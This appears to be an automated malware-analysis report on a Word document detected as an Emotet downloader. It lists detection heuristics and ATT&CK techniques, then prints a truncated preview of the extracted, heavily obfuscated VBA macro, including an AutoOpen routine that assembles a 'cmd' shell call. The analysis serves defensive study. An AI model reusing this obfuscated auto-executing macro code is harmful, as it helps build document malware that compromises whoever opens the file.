MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The presence of an AutoOpen macro and the ClamAV detection of 'Doc.Downloader.Emotet-6884097-0' strongly suggest this is an Emotet downloader variant. The VBA script is designed to execute a secondary payload, likely downloaded from a remote source, which is a common Emotet behavior.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-6884097-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6884097-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 164849 bytes |
SHA-256: f2db31beb259b7f30e1f53b4dfd2b8a07542419f9c5fd9c266338c5b9c666a0a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "sOwUDvADpkl" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Dim QDZSli(1) QDZSli(0) = Mid(DKqQAtcwCA + GVuPwVDPJWjnNhsrfowFSwFHvjCwuVz + IKWQioPjjKdnLj, 97, 437) + MidB(jJQcQrOHiHZjK + njjIaRzjYinbjzzalfdjtfCXFIH + pDYzYNiZjdstdP, 897, 455) + MidB(zufYQJDm + uuXQfnmQLzMCGfqlPHzUzIIUQ + wljKipFbO, 789, 547) + Mid(okmrYtaY + NRuaYIXTWdBncsbpkKndnfOVQwWLq + WtkPjTqWF, 8, 313) Dim UHhXn(1) UHhXn(0) = Left(dCrRrwkC + pXzRiwIvdLwuNNdptCBGDwzNdCFIfu + wBnpIYcKZJ, 204) + Mid(DOGrbtZoQtU + fsYDTYPtObCDTarhulZowQDAEfhHSK + jlVpmtlonEoJa, 983, 947) + MidB(ipCGEanPXKNjTj + aqFLEzzzkAtcuaiwIjUfLiZOiXHTVuO + rYvjrEVD, 632, 207) + Left(FfiLzYZoLucikP + hYhjbzqZMAdQciYERYIVWpKwzwQwci + IdpVHoJwzv, 165) Dim KzwEpO(1) KzwEpO(0) = MidB(aoHuJmGWASFWXG + ZDqhFhcWsRLRzVclUvFXjkzFiKRZD + imXLpsL, 705, 48) + Left(oWhwckDKuPE + wGcuLasHuojFZfrSiFvcXlijVsFp + MPjQQYb, 3) Dim jlWhN(2) jlWhN(0) = Mid(skBCOYXits + outAvJKrwnSjUfhHYcMhtICL + UPBtYGInk, 508, 452) + Left(dKwiTttq + imlcNArtwfiblZLOWumUTiWzZjRkWu + GmdunthYXi, 28) + MidB(IHiXwEzv + tqDSJjuHhRTYkcHdzohflRbmN + jYpVkDkaXrcXT, 124, 868) + Left(uuoauhUdMLRB + hjrBtiDAYXCfWUNYsbrsPprUrXsSZpzv + EzLjtWRXPKA, 222) jlWhN(1) = Right(YZqBOucMBJLc + dpYYamTQLzwUrajZFuAzvhwzsw + QqNuZmbkMS, 605) + Right(CSakmVoiDaJ + crinbuOqiFGzAtvMmPrUtOGcNqNQDRi + GZrkuoUMTnlb, 909) Dim tMWKYH(1) tMWKYH(0) = Left(lBEAdEIduW + EOdsKvmcrinYAiWzlFSnDI + LIvhdDK, 450) + Right(izcVXEuWQcdZ + XYiGmbakwaUXJAjOchWVPiOsjrmcmZ + FZDlDIuD, 730) Dim nulWjd(1) nulWjd(0) = MidB(VRBzVoDfSk + nvizfYBCaUBRHdJjLaGWSsozYQ + qltCsPnqK, 522, 111) + MidB(QjswLtz + DrnYLEqZmSBLjNTsUPfsCVCJwANWI + hCPTEjAkzTf, 986, 97) + MidB(iazGlvYzlCI + YQPJofzLEQpJUiYWWzGQWCbkICiRvoF + DVLZDTZJKzQQ, 834, 506) + Right(KodCdtHMuqI + tUPSzVALYCzwdLKURcPAbKEKOwiNLzJ + AzrENUmljFz, 640) zFmdAErIntC (KeyString(vbKeyC) + KeyString(vbKeyM) + saiMuQ + hINZYk + SVvja + sKKzpL + hhcvJ + YfKPIUoIuLm + plwUucJWZXCPw) Dim EFcLwE(1) EFcLwE(0) = MidB(puJIMpztbHt + IfnarDzHIzJFtDiaQoBGGZzhciaIFSzv + lEApXhvACTlHK, 22, 820) + MidB(oBFCGuWXdhqDmt + spMoLiZikdvUTZRLtTniJdRuz + PZdrRMiPiGcaSp, 324, 526) + Right(IZCOiOwF + KtnZaoBRdBNnERsUptCPlritB + uMBcFoTDA, 568) + MidB(JYHvlQZdw + VJHiBhvuAMBiLLjAkNsrsqiwsccNSrb + zKRVEinAH, 812, 337) Dim oLjiZ(2) oLjiZ(0) = Right(ziEKHNnwwEKAwY + inZMaOBuanEpPVERuHJchlSAAOVv + qwrAdVjdKkTdiH, 686) + MidB(jCjONYK + HOAfEsFJwQioZGAzDCLQRJms + dajIBOUcijb, 456, 491) oLjiZ(1) = Right(EAvdcNPzC + vzjWRzJcVqwmKlYTsjDzMIrPSSNad + TWtIOcNwmcH, 87) + Right(rpwGWIvrA + ajrKHPTcIOfKiESjREizadRU + hcWWvosW, 743) + MidB(ncAbdKlcR + ajRJrmQjqMRaOsIPqtmHRchVzSfsqVS + FmwFFFoSbLZMl, 36, 433) + Mid(uVnYzjK + OKCVvHNBDtGpowpqIMQJGkbz + FFmonrdPF, 297, 337) Dim kYsjKt(1) kYsjKt(0) = Left(PnXlCSYwirO + jpSroINflAMNSDUjjhMpikBQPCYzCEiAiZr + GwimKXkZUdzK, 628) + MidB(BSYHmsw + BKJjsUuszGrDkQrvYZoWl + PBkksIURlAOAjz, 675, 136) + Right(LMzinuVACEmM + FtFsIaEwWmkzPKvpSoSBhOpOrFQfZ + vnuqwafMpLjCw, 116) + Left(PUXBwmrX + LMtGGZYGUBwTOHNzMsIBzAKBLuJw + jOSTjEKi, 820) Dim FQAJt(1) FQAJt(0) = Right(AaSZDLvG + NLKaimnAptlnhCWisjRLAvwtGKGXdIm + btbdNJEpPOm, 698) + Left(dDXlfvzJiith + WQdBRWuoQFzjVljKJiUGWGVjROtkf + TwllTBmomR, 781) + Mid(dYzYkwMFBKGu + daXURPsCnvYphphohJnCtAjGQRniqXK + OzXhpbkCz, 887, 337) + Right(TWYlInjIC + IbkzQhSWjbTqczbIPPkAwRFF + ZFLdnYNqll, 335) Dim krGYi(1) krGYi(0) = Right(wwZjbQATK + LQUHaWJimbsPRjtOIWwzLjjCz + oDAVpYCdRkOz, 987) + MidB(GJSulVawws + IXtTMEFXXubIbCbittodXkCpLOHEccF + YQCvujw, 278, 287) + Left(JTwRCVNZTuWi + tJQmRwDhzNqbEMItQfsPpBH + aKBhtjAXibz, 850) + Left(VvEMuINdfOp + AtblKjXHmBfzEoHnLBhDlpNFSwfnsA + iHqmIMUjuYPwEY, 428) Dim qoAfOI(1) qoAfOI(0) = MidB(btjNUYbm + cCzGVHNXjlXdEtLzmrzFKwL + SAmDDapZv, 688, 368) + Right(qEabEPcjA + pvTfzpIKcFDzhTDPFsEUBsijt + jRVVOHG, 186) + Mid(bIQTlBc + LNiaUXkbSnTGOaSnhbzFdTijoB + BpJjoBr ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.